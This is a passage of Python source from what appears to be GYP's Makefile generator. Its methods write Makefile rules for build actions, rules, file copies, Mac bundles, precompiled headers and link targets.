self.WriteLn('all:') if makefile_path: makefile_path = ' -C ' + makefile_path self.WriteLn('\t$(MAKE)%s %s' % (makefile_path, ' '.join(targets))) self.fp.close() def WriteActions(self, actions, extra_sources, extra_outputs, extra_mac_bundle_resources, part_of_all): """Write Makefile code for any 'actions' from the gyp input. extra_sources: a list that will be filled in with newly generated source files, if any extra_outputs: a list that will be filled in with any outputs of these actions (used to make other pieces dependent on these actions) part_of_all: flag indicating this target is part of 'all' """ env = self.GetSortedXcodeEnv() for action in actions: name = StringToMakefileVariable('%s_%s' % (self.qualified_target, action['action_name'])) self.WriteLn('### Rules for action "%s":' % action['action_name']) inputs = action['inputs'] outputs = action['outputs'] # Build up a list of outputs. # Collect the output dirs we'll need. dirs = set() for out in outputs: dir = os.path.split(out)[0] if dir: dirs.add(dir) if int(action.get('process_outputs_as_sources', False)): extra_sources += outputs if int(action.get('process_outputs_as_mac_bundle_resources', False)): extra_mac_bundle_resources += outputs # Write the actual command. action_commands = action['action'] if self.flavor == 'mac': action_commands = [gyp.xcode_emulation.ExpandEnvVars(command, env) for command in action_commands] command = gyp.common.EncodePOSIXShellList(action_commands) if 'message' in action: self.WriteLn('quiet_cmd_%s = ACTION %s $@' % (name, action['message'])) else: self.WriteLn('quiet_cmd_%s = ACTION %s $@' % (name, name)) if len(dirs) > 0: command = 'mkdir -p %s' % ' '.join(dirs) + '; ' + command cd_action = 'cd %s; ' % Sourceify(self.path or '.') # command and cd_action get written to a toplevel variable called # cmd_foo. Toplevel variables can't handle things that change per # makefile like $(TARGET), so hardcode the target. command = command.replace('$(TARGET)', self.target) cd_action = cd_action.replace('$(TARGET)', self.target) # Set LD_LIBRARY_PATH in case the action runs an executable from this # build which links to shared libs from this build. # actions run on the host, so they should in theory only use host # libraries, but until everything is made cross-compile safe, also use # target libraries. # TODO(piman): when everything is cross-compile safe, remove lib.target self.WriteLn('cmd_%s = LD_LIBRARY_PATH=$(builddir)/lib.host:' '$(builddir)/lib.target:$$LD_LIBRARY_PATH; ' 'export LD_LIBRARY_PATH; ' '%s%s' % (name, cd_action, command)) self.WriteLn() outputs = [self.Absolutify(output) for output in outputs] # The makefile rules are all relative to the top dir, but the gyp actions # are defined relative to their containing dir. This replaces the obj # variable for the action rule with an absolute version so that the output # goes in the right place. # Only write the 'obj' and 'builddir' rules for the "primary" output (:1); # it's superfluous for the "extra outputs", and this avoids accidentally # writing duplicate dummy rules for those outputs. # Same for environment. self.WriteLn("%s: obj := $(abs_obj)" % QuoteSpaces(outputs[0])) self.WriteLn("%s: builddir := $(abs_builddir)" % QuoteSpaces(outputs[0])) self.WriteSortedXcodeEnv(outputs[0], self.GetSortedXcodeEnv()) for input in inputs: assert ' ' not in input, ( "Spaces in action input filenames not supported (%s)" % input) for output in outputs: assert ' ' not in output, ( "Spaces in action output filenames not supported (%s)" % output) # See the comment in WriteCopies about expanding env vars. outputs = [gyp.xcode_emulation.ExpandEnvVars(o, env) for o in outputs] inputs = [gyp.xcode_emulation.ExpandEnvVars(i, env) for i in inputs] self.WriteDoCmd(outputs, [Sourceify(self.Absolutify(i)) for i in inputs], part_of_all=part_of_all, command=name) # Stuff the outputs in a variable so we can refer to them later. outputs_variable = 'action_%s_outputs' % name self.WriteLn('%s := %s' % (outputs_variable, ' '.join(outputs))) extra_outputs.append('$(%s)' % outputs_variable) self.WriteLn() self.WriteLn() def WriteRules(self, rules, extra_sources, extra_outputs, extra_mac_bundle_resources, part_of_all): """Write Makefile code for any 'rules' from the gyp input. extra_sources: a list that will be filled in with newly generated source files, if any extra_outputs: a list that will be filled in with any outputs of these rules (used to make other pieces dependent on these rules) part_of_all: flag indicating this target is part of 'all' """ env = self.GetSortedXcodeEnv() for rule in rules: name = StringToMakefileVariable('%s_%s' % (self.qualified_target, rule['rule_name'])) count = 0 self.WriteLn('### Generated for rule %s:' % name) all_outputs = [] for rule_source in rule.get('rule_sources', []): dirs = set() (rule_source_dirname, rule_source_basename) = os.path.split(rule_source) (rule_source_root, rule_source_ext) = \ os.path.splitext(rule_source_basename) outputs = [self.ExpandInputRoot(out, rule_source_root, rule_source_dirname) for out in rule['outputs']] for out in outputs: dir = os.path.dirname(out) if dir: dirs.add(dir) if int(rule.get('process_outputs_as_sources', False)): extra_sources += outputs if int(rule.get('process_outputs_as_mac_bundle_resources', False)): extra_mac_bundle_resources += outputs inputs = [Sourceify(self.Absolutify(i)) for i in [rule_source] + rule.get('inputs', [])] actions = ['$(call do_cmd,%s_%d)' % (name, count)] if name == 'resources_grit': # HACK: This is ugly. Grit intentionally doesn't touch the # timestamp of its output file when the file doesn't change, # which is fine in hash-based dependency systems like scons # and forge, but not kosher in the make world. After some # discussion, hacking around it here seems like the least # amount of pain. actions += ['@touch --no-create $@'] # See the comment in WriteCopies about expanding env vars. outputs = [gyp.xcode_emulation.ExpandEnvVars(o, env) for o in outputs] inputs = [gyp.xcode_emulation.ExpandEnvVars(i, env) for i in inputs] outputs = [self.Absolutify(output) for output in outputs] all_outputs += outputs # Only write the 'obj' and 'builddir' rules for the "primary" output # (:1); it's superfluous for the "extra outputs", and this avoids # accidentally writing duplicate dummy rules for those outputs. self.WriteLn('%s: obj := $(abs_obj)' % outputs[0]) self.WriteLn('%s: builddir := $(abs_builddir)' % outputs[0]) self.WriteMakeRule(outputs, inputs, actions, command="%s_%d" % (name, count)) # Spaces in rule filenames are not supported, but rule variables have # spaces in them (e.g. RULE_INPUT_PATH expands to '$(abspath $<)'). # The spaces within the variables are valid, so remove the variables # before checking. variables_with_spaces = re.compile(r'\$\([^ ]* \$<\)') for output in outputs: output = re.sub(variables_with_spaces, '', output) assert ' ' not in output, ( "Spaces in rule filenames not yet supported (%s)" % output) self.WriteLn('all_deps += %s' % ' '.join(outputs)) action = [self.ExpandInputRoot(ac, rule_source_root, rule_source_dirname) for ac in rule['action']] mkdirs = '' if len(dirs) > 0: mkdirs = 'mkdir -p %s; ' % ' '.join(dirs) cd_action = 'cd %s; ' % Sourceify(self.path or '.') # action, cd_action, and mkdirs get written to a toplevel variable # called cmd_foo. Toplevel variables can't handle things that change # per makefile like $(TARGET), so hardcode the target. if self.flavor == 'mac': action = [gyp.xcode_emulation.ExpandEnvVars(command, env) for command in action] action = gyp.common.EncodePOSIXShellList(action) action = action.replace('$(TARGET)', self.target) cd_action = cd_action.replace('$(TARGET)', self.target) mkdirs = mkdirs.replace('$(TARGET)', self.target) # Set LD_LIBRARY_PATH in case the rule runs an executable from this # build which links to shared libs from this build. # rules run on the host, so they should in theory only use host # libraries, but until everything is made cross-compile safe, also use # target libraries. # TODO(piman): when everything is cross-compile safe, remove lib.target self.WriteLn( "cmd_%(name)s_%(count)d = LD_LIBRARY_PATH=" "$(builddir)/lib.host:$(builddir)/lib.target:$$LD_LIBRARY_PATH; " "export LD_LIBRARY_PATH; " "%(cd_action)s%(mkdirs)s%(action)s" % { 'action': action, 'cd_action': cd_action, 'count': count, 'mkdirs': mkdirs, 'name': name, }) self.WriteLn( 'quiet_cmd_%(name)s_%(count)d = RULE %(name)s_%(count)d $@' % { 'count': count, 'name': name, }) self.WriteLn() count += 1 outputs_variable = 'rule_%s_outputs' % name self.WriteList(all_outputs, outputs_variable) extra_outputs.append('$(%s)' % outputs_variable) self.WriteLn('### Finished generating for rule: %s' % name) self.WriteLn() self.WriteLn('### Finished generating for all rules') self.WriteLn('') def WriteCopies(self, copies, extra_outputs, part_of_all): """Write Makefile code for any 'copies' from the gyp input. extra_outputs: a list that will be filled in with any outputs of this action (used to make other pieces dependent on this action) part_of_all: flag indicating this target is part of 'all' """ self.WriteLn('### Generated for copy rule.') variable = StringToMakefileVariable(self.qualified_target + '_copies') outputs = [] for copy in copies: for path in copy['files']: # Absolutify() may call normpath, and will strip trailing slashes. path = Sourceify(self.Absolutify(path)) filename = os.path.split(path)[1] output = Sourceify(self.Absolutify(os.path.join(copy['destination'], filename))) # If the output path has variables in it, which happens in practice for # 'copies', writing the environment as target-local doesn't work, # because the variables are already needed for the target name. # Copying the environment variables into global make variables doesn't # work either, because then the .d files will potentially contain spaces # after variable expansion, and .d file handling cannot handle spaces. # As a workaround, manually expand variables at gyp time. Since 'copies' # can't run scripts, there's no need to write the env then. # WriteDoCmd() will escape spaces for .d files. env = self.GetSortedXcodeEnv() output = gyp.xcode_emulation.ExpandEnvVars(output, env) path = gyp.xcode_emulation.ExpandEnvVars(path, env) self.WriteDoCmd([output], [path], 'copy', part_of_all) outputs.append(output) self.WriteLn('%s = %s' % (variable, ' '.join(QuoteSpaces(o) for o in outputs))) extra_outputs.append('$(%s)' % variable) self.WriteLn() def WriteMacBundleResources(self, resources, bundle_deps): """Writes Makefile code for 'mac_bundle_resources'.""" self.WriteLn('### Generated for mac_bundle_resources') for output, res in gyp.xcode_emulation.GetMacBundleResources( generator_default_variables['PRODUCT_DIR'], self.xcode_settings, [Sourceify(self.Absolutify(r)) for r in resources]): _, ext = os.path.splitext(output) if ext != '.xcassets': # Make does not supports '.xcassets' emulation. self.WriteDoCmd([output], [res], 'mac_tool,,,copy-bundle-resource', part_of_all=True) bundle_deps.append(output) def WriteMacInfoPlist(self, bundle_deps): """Write Makefile code for bundle Info.plist files.""" info_plist, out, defines, extra_env = gyp.xcode_emulation.GetMacInfoPlist( generator_default_variables['PRODUCT_DIR'], self.xcode_settings, lambda p: Sourceify(self.Absolutify(p))) if not info_plist: return if defines: # Create an intermediate file to store preprocessed results. intermediate_plist = ('$(obj).$(TOOLSET)/$(TARGET)/' + os.path.basename(info_plist)) self.WriteList(defines, intermediate_plist + ': INFOPLIST_DEFINES', '-D', quoter=EscapeCppDefine) self.WriteMakeRule([intermediate_plist], [info_plist], ['$(call do_cmd,infoplist)', # "Convert" the plist so that any weird whitespace changes from the # preprocessor do not affect the XML parser in mac_tool. '@plutil -convert xml1 $@ $@']) info_plist = intermediate_plist # plists can contain envvars and substitute them into the file. self.WriteSortedXcodeEnv( out, self.GetSortedXcodeEnv(additional_settings=extra_env)) self.WriteDoCmd([out], [info_plist], 'mac_tool,,,copy-info-plist', part_of_all=True) bundle_deps.append(out) def WriteSources(self, configs, deps, sources, extra_outputs, extra_link_deps, part_of_all, precompiled_header): """Write Makefile code for any 'sources' from the gyp input. These are source files necessary to build the current target. configs, deps, sources: input from gyp. extra_outputs: a list of extra outputs this action should be dependent on; used to serialize action/rules before compilation extra_link_deps: a list that will be filled in with any outputs of compilation (to be used in link lines) part_of_all: flag indicating this target is part of 'all' """ # Write configuration-specific variables for CFLAGS, etc. for configname in sorted(configs.keys()): config = configs[configname] self.WriteList(config.get('defines'), 'DEFS_%s' % configname, prefix='-D', quoter=EscapeCppDefine) if self.flavor == 'mac': cflags = self.xcode_settings.GetCflags(configname) cflags_c = self.xcode_settings.GetCflagsC(configname) cflags_cc = self.xcode_settings.GetCflagsCC(configname) cflags_objc = self.xcode_settings.GetCflagsObjC(configname) cflags_objcc = self.xcode_settings.GetCflagsObjCC(configname) else: cflags = config.get('cflags') cflags_c = config.get('cflags_c') cflags_cc = config.get('cflags_cc') self.WriteLn("# Flags passed to all source files.") self.WriteList(cflags, 'CFLAGS_%s' % configname) self.WriteLn("# Flags passed to only C files.") self.WriteList(cflags_c, 'CFLAGS_C_%s' % configname) self.WriteLn("# Flags passed to only C++ files.") self.WriteList(cflags_cc, 'CFLAGS_CC_%s' % configname) if self.flavor == 'mac': self.WriteLn("# Flags passed to only ObjC files.") self.WriteList(cflags_objc, 'CFLAGS_OBJC_%s' % configname) self.WriteLn("# Flags passed to only ObjC++ files.") self.WriteList(cflags_objcc, 'CFLAGS_OBJCC_%s' % configname) includes = config.get('include_dirs') if includes: includes = [Sourceify(self.Absolutify(i)) for i in includes] self.WriteList(includes, 'INCS_%s' % configname, prefix='-I') compilable = list(filter(Compilable, sources)) objs = [self.Objectify(self.Absolutify(Target(c))) for c in compilable] self.WriteList(objs, 'OBJS') for obj in objs: assert ' ' not in obj, ( "Spaces in object filenames not supported (%s)" % obj) self.WriteLn('# Add to the list of files we specially track ' 'dependencies for.') self.WriteLn('all_deps += $(OBJS)') self.WriteLn() # Make sure our dependencies are built first. if deps: self.WriteMakeRule(['$(OBJS)'], deps, comment = 'Make sure our dependencies are built ' 'before any of us.', order_only = True) # Make sure the actions and rules run first. # If they generate any extra headers etc., the per-.o file dep tracking # will catch the proper rebuilds, so order only is still ok here. if extra_outputs: self.WriteMakeRule(['$(OBJS)'], extra_outputs, comment = 'Make sure our actions/rules run ' 'before any of us.', order_only = True) pchdeps = precompiled_header.GetObjDependencies(compilable, objs ) if pchdeps: self.WriteLn('# Dependencies from obj files to their precompiled headers') for source, obj, gch in pchdeps: self.WriteLn('%s: %s' % (obj, gch)) self.WriteLn('# End precompiled header dependencies') if objs: extra_link_deps.append('$(OBJS)') self.WriteLn("""\ # CFLAGS et al overrides must be target-local. # See "Target-specific Variable Values" in the GNU Make manual.""") self.WriteLn("$(OBJS): TOOLSET := $(TOOLSET)") self.WriteLn("$(OBJS): GYP_CFLAGS := " "$(DEFS_$(BUILDTYPE)) " "$(INCS_$(BUILDTYPE)) " "%s " % precompiled_header.GetInclude('c') + "$(CFLAGS_$(BUILDTYPE)) " "$(CFLAGS_C_$(BUILDTYPE))") self.WriteLn("$(OBJS): GYP_CXXFLAGS := " "$(DEFS_$(BUILDTYPE)) " "$(INCS_$(BUILDTYPE)) " "%s " % precompiled_header.GetInclude('cc') + "$(CFLAGS_$(BUILDTYPE)) " "$(CFLAGS_CC_$(BUILDTYPE))") if self.flavor == 'mac': self.WriteLn("$(OBJS): GYP_OBJCFLAGS := " "$(DEFS_$(BUILDTYPE)) " "$(INCS_$(BUILDTYPE)) " "%s " % precompiled_header.GetInclude('m') + "$(CFLAGS_$(BUILDTYPE)) " "$(CFLAGS_C_$(BUILDTYPE)) " "$(CFLAGS_OBJC_$(BUILDTYPE))") self.WriteLn("$(OBJS): GYP_OBJCXXFLAGS := " "$(DEFS_$(BUILDTYPE)) " "$(INCS_$(BUILDTYPE)) " "%s " % precompiled_header.GetInclude('mm') + "$(CFLAGS_$(BUILDTYPE)) " "$(CFLAGS_CC_$(BUILDTYPE)) " "$(CFLAGS_OBJCC_$(BUILDTYPE))") self.WritePchTargets(precompiled_header.GetPchBuildCommands()) # If there are any object files in our input file list, link them into our # output. extra_link_deps += list(filter(Linkable, sources)) self.WriteLn() def WritePchTargets(self, pch_commands): """Writes make rules to compile prefix headers.""" if not pch_commands: return for gch, lang_flag, lang, input in pch_commands: extra_flags = { 'c': '$(CFLAGS_C_$(BUILDTYPE))', 'cc': '$(CFLAGS_CC_$(BUILDTYPE))', 'm': '$(CFLAGS_C_$(BUILDTYPE)) $(CFLAGS_OBJC_$(BUILDTYPE))', 'mm': '$(CFLAGS_CC_$(BUILDTYPE)) $(CFLAGS_OBJCC_$(BUILDTYPE))', }[lang] var_name = { 'c': 'GYP_PCH_CFLAGS', 'cc': 'GYP_PCH_CXXFLAGS', 'm': 'GYP_PCH_OBJCFLAGS', 'mm': 'GYP_PCH_OBJCXXFLAGS', }[lang] self.WriteLn("%s: %s := %s " % (gch, var_name, lang_flag) + "$(DEFS_$(BUILDTYPE)) " "$(INCS_$(BUILDTYPE)) " "$(CFLAGS_$(BUILDTYPE)) " + extra_flags) self.WriteLn('%s: %s FORCE_DO_CMD' % (gch, input)) self.WriteLn('\t@$(call do_cmd,pch_%s,1)' % lang) self.WriteLn('') assert ' ' not in gch, ( "Spaces in gch filenames not supported (%s)" % gch) self.WriteLn('all_deps += %s' % gch) self.WriteLn('') def ComputeOutputBasename(self, spec): """Return the 'output basename' of a gyp spec. E.g., the loadable module 'foobar' in directory 'baz' will produce 'libfoobar.so' """ assert not self.is_mac_bundle if self.flavor == 'mac' and self.type in ( 'static_library', 'executable', 'shared_library', 'loadable_module'): return self.xcode_settings.GetExecutablePath() target = spec['target_name'] target_prefix = '' target_ext = '' if self.type == 'static_library': if target[:3] == 'lib': target = target[3:] target_prefix = 'lib' target_ext = '.a' elif self.type in ('loadable_module', 'shared_library'): if target[:3] == 'lib': target = target[3:] target_prefix = 'lib' if self.flavor == 'aix': target_ext = '.a' else: target_ext = '.so' elif self.type == 'none': target = '%s.stamp' % target elif self.type != 'executable': print("ERROR: What output file should be generated?", "type", self.type, "target", target) target_prefix = spec.get('product_prefix', target_prefix) target = spec.get('product_name', target) product_ext = spec.get('product_extension') if product_ext: target_ext = '.' + product_ext return target_prefix + target + target_ext def _InstallImmediately(self): return self.toolset == 'target' and self.flavor == 'mac' and self.type in ( 'static_library', 'executable', 'shared_library', 'loadable_module') def ComputeOutput(self, spec): """Return the 'output' (full output path) of a gyp spec. E.g., the loadable module 'foobar' in directory 'baz' will produce '$(obj)/baz/libfoobar.so' """ assert not self.is_mac_bundle path = os.path.join('$(obj).' + self.toolset, self.path) if self.type == 'executable' or self._InstallImmediately(): path = '$(builddir)' path = spec.get('product_dir', path) return os.path.join(path, self.ComputeOutputBasename(spec)) def ComputeMacBundleOutput(self, spec): """Return the 'output' (full output path) to a bundle output directory.""" assert self.is_mac_bundle path = generator_default_variables['PRODUCT_DIR'] return os.path.join(path, self.xcode_settings.GetWrapperName()) def ComputeMacBundleBinaryOutput(self, spec): """Return the 'output' (full output path) to the binary in a bundle.""" path = generator_default_variables['PRODUCT_DIR'] return os.path.join(path, self.xcode_settings.GetExecutablePath()) def ComputeDeps(self, spec): """Compute the dependencies of a gyp spec. Returns a tuple (deps, link_deps), where each is a list of filenames that will need to be put in front of make for either building (deps) or linking (link_deps). """ deps = [] link_deps = [] if 'dependencies' in spec: deps.extend([target_outputs[dep] for dep in spec['dependencies'] if target_outputs[dep]]) for dep in spec['dependencies']: if dep in target_link_deps: link_deps.append(target_link_deps[dep]) deps.extend(link_deps) # TODO: It seems we need to transitively link in libraries (e.g. -lfoo)? # This hack makes it work: # link_deps.extend(spec.get('libraries', [])) return (gyp.common.uniquer(deps), gyp.common.uniquer(link_deps)) def WriteDependencyOnExtraOutputs(self, target, extra_outputs): self.WriteMakeRule([self.output_binary], extra_outputs, comment = 'Build our special outputs first.', order_only = True) def WriteTarget(self, spec, configs, deps, link_deps, bundle_deps, extra_outputs, part_of_all): """Write Makefile code to produce the final target of the gyp spec. spec, configs: input from gyp. deps, link_deps: dependency lists; see ComputeDeps() extra_outputs: any extra outputs that our target should depend on part_of_all: flag indicating this target is part of 'all' """ self.WriteLn('### Rules for final target.') if extra_outputs: self.WriteDependencyOnExtraOutputs(self.output_binary, extra_outputs) self.WriteMakeRule(extra_outputs, deps, comment=('Preserve order dependency of ' 'special output on deps.'), order_only = True) target_postbuilds = {} if self.type != 'none': for configname in sorted(configs.keys()): config = configs[configname] if self.flavor == 'mac': ldflags = self.xcode_settings.GetLdflags(configname, generator_default_variables['PRODUCT_DIR'], lambda p: Sourceify(self.Absolutify(p))) # TARGET_POSTBUILDS_$(BUILDTYPE) is added to postbuilds later on. gyp_to_build = gyp.common.InvertRelativePath(self.path) target_postbuild = self.xcode_settings.AddImplicitPostbuilds( configname, QuoteSpaces(os.path.normpath(os.path.join(gyp_to_build, self.output))), QuoteSpaces(os.path.normpath(os.path.join(gyp_to_build, self.output_binary)))) if target_postbuild: target_postbuilds[configname] = target_postbuild else: ldflags = config.get('ldflags', []) # Compute an rpath for this output if needed. if any(dep.endswith('.so') or '.so.' in dep for dep in deps): # We want to get the literal string "$ORIGIN" into the link command, # so we need lots of escaping. ldflags.append(r'-Wl,-rpath=\$$ORIGIN/lib.%s/' % self.toolset) ldflags.append(r'-Wl,-rpath-link=\$(builddir)/lib.%s/' % self.toolset) library_dirs = config.get('library_dirs', []) ldflags += [('-L%s' % library_dir) for library_dir in library_dirs] self.WriteList(ldflags, 'LDFLAGS_%s' % configname) if self.flavor == 'mac': self.WriteList(self.xcode_settings.GetLibtoolflags(configname), 'LIBTOOLFLAGS_%s' % configname) libraries = spec.get('libraries') if libraries: # Remove duplicate entries libraries = gyp.common.uniquer(libraries) if self.flavor == 'mac': libraries = self.xcode_settings.AdjustLibraries(libraries) self.WriteList(libraries, 'LIBS') self.WriteLn('%s: GYP_LDFLAGS := $(LDFLAGS_$(BUILDTYPE))' % QuoteSpaces(self.output_binary)) self.WriteLn('%s: LIBS := $(LIBS)' % QuoteSpaces(self.output_binary)) if self.flavor == 'mac': self.WriteLn('%s: GYP_LIBTOOLFLAGS := $(LIBTOOLFLAGS_$(BUILDTYPE))' % QuoteSpaces(self.output_binary)) # Postbuild actions. Like actions, but implicitly depend on the target's # output. postbuilds = [] if self.flavor == 'mac': if target_postbuilds: postbuilds.append('$(TARGET_POSTBUILDS_$(BUILDTYPE))') postbuilds.extend( gyp.xcode_emulation.GetSpecPostbuildCommands(spec)) if postbuilds: # Envvars may be referenced by TARGET_POSTBUILDS_$(BUILDTYPE), # so we must output its definition first, since we declare variables # using ":=". self.WriteSortedXcodeEnv(self.output, self.GetSortedXcodePostbuildEnv()) for configname in target_postbuilds: self.WriteLn('%s: TARGET_POSTBUILDS_%s := %s' % (QuoteSpaces(self.output), configname, gyp.common.EncodePOSIXShellList(target_postbuilds[configname]))) # Postbuilds expect to be run in the gyp file's directory, so insert an # implicit postbuild to cd to there. postbuilds.insert(0, gyp.common.EncodePOSIXShellList(['cd', self.path])) for i in range(len(postbuilds)): if not postbuilds[i].startswith('$'): postbuilds[i] = EscapeShellArgument(postbuilds[i]) self.WriteLn('%s: builddir := $(abs_builddir)' % QuoteSpaces(self.output)) self.WriteLn('%s: POSTBUILDS := %s' % ( QuoteSpaces(self.output), ' '.join(postbuilds))) # A bundle directory depends on its dependencies such as bundle resources # and bundle binary. When all dependencies have been built, the bundle # needs to be packaged. if self.is_mac_bundle: # If the framework doesn't contain a binary, then nothing depends # on the actions -- make the framework depend on them directly too. self.WriteDependencyOnExtraOutputs(self.output, extra_outputs) # Bundle dependencies. Note that the code below adds actions to this # target, so if you move these two lines, move the lines below as well. self.WriteList([QuoteSpaces(dep) for dep in bundle_deps], 'BUNDLE_DEPS') self.WriteLn('%s: $(BUNDLE_DEPS)' % QuoteSpaces(self.output)) # After the framework is built, package it. Needs to happen before # postbuilds, since postbuilds depend on this. if self.type in ('shared_library', 'loadable_module'): self.WriteLn('\t@$(call do_cmd,mac_package_framework,,,%s)' % self.xcode_settings.GetFrameworkVersion()) # Bundle postbuilds can depend on the whole bundle, so run them after # the bundle is packaged, not already after the bundle binary is done. if postbuilds: self.WriteLn('\t@$(call do_postbuilds)') postbuilds = [] # Don't write postbuilds for target's output. # Needed by test/mac/gyptest-rebuild.py. self.WriteLn('\t@true # No-op, used by tests') # Since this target depends on binary and resources which are in # nested subfolders, the framework directory will be older than # its dependencies usually. To prevent this rule from executing # on every build (expensive, especially with postbuilds), expliclity # update the time on the framework directory. self.WriteLn('\t@touch -c %s' % QuoteSpaces(self.output)) if postbuilds: assert not self.is_mac_bundle, ('Postbuilds for bundles should be done ' 'on the bundle, not the binary (target \'%s\')' % self.target) assert 'product_dir' not in spec, ('Postbuilds do not work with ' 'custom product_dir') if self.type == 'executable': self.WriteLn('%s: LD_INPUTS := %s' % ( QuoteSpaces(self.output_binary), ' '.join(QuoteSpaces(dep) for dep in link_deps))) if self.toolset == 'host' and self.flavor == 'android': self.WriteDoCmd([self.output_binary], link_deps, 'link_host', part_of_all, postbuilds=postbuilds) else: self.WriteDoCmd([self.output_binary], link_deps, 'link', part_of_all, postbuilds=postbuilds) elif self.type == 'static_library': for link_dep in link_deps: assert ' ' not in link_dep, ( "Spaces in alink input filenames not supported (%s)" % link_dep) if (self.flavor not in ('mac', 'openbsd', 'netbsd', 'win') and not self.is_standalone_static_library): self.WriteDoCmd([self.output_binary], link_deps, 'alink_thin', part_of_all, postbuilds=postbuilds) else: self.WriteDoCmd([self.output_binary], link_deps, 'alink', part_of_all, postbuilds=postbuilds) elif self.type == 'shared_library': self.WriteLn('%s: LD_INPUTS := %s' % ( QuoteSpaces(self.output_binary), ' '.join(QuoteSpaces(dep) for dep in link_deps))) self.WriteDoCmd([self.output_binary], link_deps, 'solink', part_of_all, postbuilds=postbuilds) elif self.type == 'loadable_module': for link_dep in link_deps: assert ' ' not in link_dep, ( "Spaces in module input filenames not supported (%s)" % link_dep) if self.toolset == 'host' and self.flavor == 'android': self.WriteDoCmd([self.output_binary], link_deps, 'solink_module_host', part_of_all, postbuilds=postbuilds) else: self.WriteDoCmd( [self.output_binary], link_deps, 'solink_module', part_of_all, postbuilds=postbuilds) elif self.type == 'none': # Write a stamp line. self.WriteDoCmd([self.output_binary], deps, 'touch', part_of_all, postbuilds=postbuilds) else: print("WARNING: no output for", self.type, self.target) # Add an alias for each target (if there are any outputs). # Installable target aliases are created below. if ((self.output and self.output != self.target) and (self.type not in self._INSTALLABLE_TARGETS)): self.WriteMakeRule([self.target], [self.output], comment='Add target alias', phony = True) if part_of_all: self.WriteMakeRule(['all'], [self.target], comment = 'Add target alias to "all" target.', phony = True) # Add special-case rules for our installable targets. # 1) They need to install to the build dir or "product" dir. # 2) They get shortcuts for building (e.g. "make chrome"). # 3) They are part of "make all". if (self.type in self._INSTALLABLE_TARGETS or self.is_standalone_static_library): if self.type == 'shared_library': file_desc = 'shared library' elif self.type == 'static_library': file_desc = 'static library' else: file_desc = 'executable' install_path = self._InstallableTargetInstallPath() installable_deps = [self.output] if (self.flavor == 'mac' and not 'product_dir' in spec and self.toolset == 'target'): # On mac, products are created in install_path immediately. assert install_path == self.output, '%s != %s' % ( install_path, self.output) # Point the target alias to the final binary output. self.WriteMakeRule([self.target], [install_path], comment='Add target alias', phony = True) if install_path != self.output: assert not self.is_mac_bundle # See comment a few lines above. self.WriteDoCmd([install_path], [self.output], 'copy', comment = 'Copy this to the %s output path.' % file_desc, part_of_all=part_of_all) installable_deps.append(install_path) if self.output != self.alias and self.alias != self.target: self.WriteMakeRule([self.alias], installable_deps, comment = 'Short alias for building this %s.' % file_desc, phony = True) if part_of_all: self.WriteMakeRule(['all'], [install_path], comment = 'Add %s to "all" target.' % file_desc, phony = True) def WriteList(self, value_list, variable=None, prefix='', quoter=QuoteIfNecessary): """Write a variable definition that is a list of values. E.g. WriteList(['a','b'], 'foo', prefix='blah') writes out foo = blaha blahb but in a pretty-printed style. """ values = '' if value_list: value_list = [quoter(prefix + l) for l in value_list] values = ' \\\n\t' + ' \\\n\t'.join(value_list) self.fp.write('%s :=%s\n\n' % (variable, values)) def WriteDoCmd(self, outputs, inputs, command, part_of_all, comment=None, postbuilds=False): """Write a Makefile rule that uses do_cmd. This makes the outputs dependent on the command line that was run, as well as support the V= make command line flag. """ suffix = '' if postbuilds: assert ',' not in command suffix = ',,1' # Tell do_cmd to honor $POSTBUILDS self.WriteMakeRule(outputs, inputs, actions = ['$(call do_cmd,%s%s)' % (command, suffix)], comment = comment, command = command, force = True) # Add our outputs to the list of targets we read depfiles from. # all_deps is only used for deps file reading, and for deps files we replace # spaces with ? because escaping doesn't work with make's $(sort) and # other functions. outputs = [QuoteSpaces(o, SPACE_REPLACEMENT) for o in outputs] self.WriteLn('all_deps += %s' % ' '.join(outputs)) def WriteMakeRule(self, outputs, inputs, actions=None, comment=None, order_only=False, force=False, phony=False, command=None): """Write a Makefile rule, with some extra tricks. outputs: a list of outputs for the rule (note: this is not directly supported by make; see comments below) inputs: a list of inputs for the rule actions: a list of shell commands to run for the rule comment: a comment to put in the Makefile above the rule (also useful for making this Python script's code self-documenting) order_only: if true, makes the dependency order-only force: if true, include FORCE_DO_CMD as an order-only dep phony: if true, the rule does not actually generate the named output, the output is just a name to run the rule command: (optional) command name to generate unambiguous labels """ outputs = [QuoteSpaces(o) for o in outputs] inputs = [QuoteSpaces(i) for i in inputs] if comment: self.WriteLn('# ' + comment) if phony: self.WriteLn('.PHONY: ' + ' '.join(outputs)) if actions: self.WriteLn("%s: TOOLSET := $(TOOLSET)" % outputs[0]) force_append = ' FORCE_DO_CMD' if force else '' if order_only: # Order only rule: Just write a simple rule. # TODO(evanm): just make order_only a list of deps instead of this hack. self.WriteLn('%s: | %s%s' % (' '.join(outputs), ' '.join(inputs), force_append)) elif len(outputs) == 1: # Regular rule, one output: Just write a simple rule. self.WriteLn('%s: %s%s' % (outputs[0], ' '.join(inputs), force_append)) else: # Regular rule, more than one output: Multiple outputs are tricky in # make. We will write three rules: # - All outputs depend on an intermediate file. # - Make .INTERMEDIATE depend on the intermediate. # - The intermediate file depends on the inputs and executes the # actual command. # - The intermediate recipe will 'touch' the intermediate file. # - The multi-output rule will have an do-nothing recipe. # Hash the target name to avoid generating overlong filenames. cmddigest = hashlib.sha1((command or self.target).encode('utf-8')).hexdigest() intermediate = "%s.intermediate" % cmddigest self.WriteLn('%s: %s' % (' '.join(outputs), intermediate)) self.WriteLn('\t%s' % '@:') self.WriteLn('%s: %s' % ('.INTERMEDIATE', intermediate)) self.WriteLn('%s: %s%s' % (intermediate, ' '.join(inputs), force_append)) actions.insert(0, '$(call do_cmd,touch)') if actions: for action in actions: self.WriteLn('\t%s' % action) self.WriteLn() def WriteAndroidNdkModuleRule(self, module_name, all_sources, link_deps): """Write a set of LOCAL_XXX definitions for Android NDK. These variable definitions will be used by Android NDK but do nothing for non-Android applications. Arguments: module_name: Android NDK module name, which must be unique among all module names. all_sources: A list of source files (will be filtered by Compilable). link_deps: A list of link dependencies, which must be sorted in the order from dependencies to dependents. """ if self.type not in ('executable', 'shared_library', 'static_library'): return self.WriteLn('# Variable definitions for Android applications') self.WriteLn('include $(CLEAR_VARS)') self.WriteLn('LOCAL_MODULE := ' + module_name) self.WriteLn('LOCAL_CFLAGS := $(CFLAGS_$(BUILDTYPE)) ' '$(DEFS_$(BUILDTYPE)) ' # LOCAL_CFLAGS is applied to both of C and C++. There is # no way to specify $(CFLAGS_C_$(BUILDTYPE)) only for 